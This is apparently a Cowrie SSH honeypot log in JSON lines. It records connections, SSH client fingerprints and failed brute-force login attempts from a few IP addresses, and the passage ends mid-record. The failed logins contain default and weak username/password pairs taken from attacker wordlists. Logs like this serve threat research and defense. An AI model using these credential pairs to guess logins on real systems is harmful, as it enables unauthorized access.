{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50518,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f76ec384c8b","protocol":"ssh","message":"New connection: 165.154.137.186:50518 (10.17.0.5:22) [session: 6f76ec384c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.323172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.326924Z","src_ip":"165.154.137.186","session":"6f76ec384c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.505132Z","src_ip":"165.154.137.186","session":"a539317d0f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.597509Z","src_ip":"165.154.137.186","session":"6f76ec384c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53386,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2ebe3a9710","protocol":"ssh","message":"New connection: 165.154.137.186:53386 (10.17.0.5:22) [session: 3f2ebe3a9710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.943329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:26.946501Z","src_ip":"165.154.137.186","session":"3f2ebe3a9710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:27.226883Z","src_ip":"165.154.137.186","session":"3f2ebe3a9710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:27.403480Z","src_ip":"165.154.137.186","session":"6f76ec384c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:27.492092Z","src_ip":"165.154.137.186","session":"a539317d0f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:28.070470Z","src_ip":"165.154.137.186","session":"3f2ebe3a9710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:28.673739Z","src_ip":"165.154.137.186","session":"6f76ec384c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:28.754714Z","src_ip":"165.154.137.186","session":"a539317d0f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:29.353043Z","src_ip":"165.154.137.186","session":"3f2ebe3a9710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50510,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6cffb563a58","protocol":"ssh","message":"New connection: 165.154.137.186:50510 (10.17.0.5:22) [session: e6cffb563a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:31.166799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:31.170376Z","src_ip":"165.154.137.186","session":"e6cffb563a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:31.419824Z","src_ip":"165.154.137.186","session":"e6cffb563a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:32.259153Z","src_ip":"165.154.137.186","session":"e6cffb563a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:33.511077Z","src_ip":"165.154.137.186","session":"e6cffb563a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49428,"dst_ip":"10.17.0.5","dst_port":22,"session":"078602ba2ba8","protocol":"ssh","message":"New connection: 8.210.75.243:49428 (10.17.0.5:22) [session: 078602ba2ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:34.580336Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40502,"dst_ip":"10.17.0.5","dst_port":22,"session":"084d4ae4d15f","protocol":"ssh","message":"New connection: 165.154.137.186:40502 (10.17.0.5:22) [session: 084d4ae4d15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:35.207455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:35.211662Z","src_ip":"165.154.137.186","session":"084d4ae4d15f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:35.477175Z","src_ip":"165.154.137.186","session":"084d4ae4d15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:36.274218Z","src_ip":"165.154.137.186","session":"084d4ae4d15f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:37.541138Z","src_ip":"165.154.137.186","session":"084d4ae4d15f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40518,"dst_ip":"10.17.0.5","dst_port":22,"session":"50c767cf96cf","protocol":"ssh","message":"New connection: 165.154.137.186:40518 (10.17.0.5:22) [session: 50c767cf96cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:37.747092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:37.750652Z","src_ip":"165.154.137.186","session":"50c767cf96cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:38.068277Z","src_ip":"165.154.137.186","session":"50c767cf96cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:39.200092Z","src_ip":"165.154.137.186","session":"50c767cf96cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:40.473693Z","src_ip":"165.154.137.186","session":"50c767cf96cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57770,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cdc9ae80b90","protocol":"ssh","message":"New connection: 165.154.137.186:57770 (10.17.0.5:22) [session: 7cdc9ae80b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:45.406612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:45.410925Z","src_ip":"165.154.137.186","session":"7cdc9ae80b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:45.669139Z","src_ip":"165.154.137.186","session":"7cdc9ae80b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:46.443948Z","src_ip":"165.154.137.186","session":"7cdc9ae80b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:47.703916Z","src_ip":"165.154.137.186","session":"7cdc9ae80b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58840,"dst_ip":"10.17.0.5","dst_port":22,"session":"e56e0c0498de","protocol":"ssh","message":"New connection: 165.154.137.186:58840 (10.17.0.5:22) [session: e56e0c0498de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:54.747363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:54.751432Z","src_ip":"165.154.137.186","session":"e56e0c0498de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:55.016284Z","src_ip":"165.154.137.186","session":"e56e0c0498de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:55.059810Z","src_ip":"8.210.75.243","session":"550a5a0ac0cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:55.814241Z","src_ip":"165.154.137.186","session":"e56e0c0498de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:51:57.081256Z","src_ip":"165.154.137.186","session":"e56e0c0498de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53312,"dst_ip":"10.17.0.5","dst_port":22,"session":"45eb90d79da5","protocol":"ssh","message":"New connection: 165.154.137.186:53312 (10.17.0.5:22) [session: 45eb90d79da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:03.186598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:52:03.189687Z","src_ip":"165.154.137.186","session":"45eb90d79da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-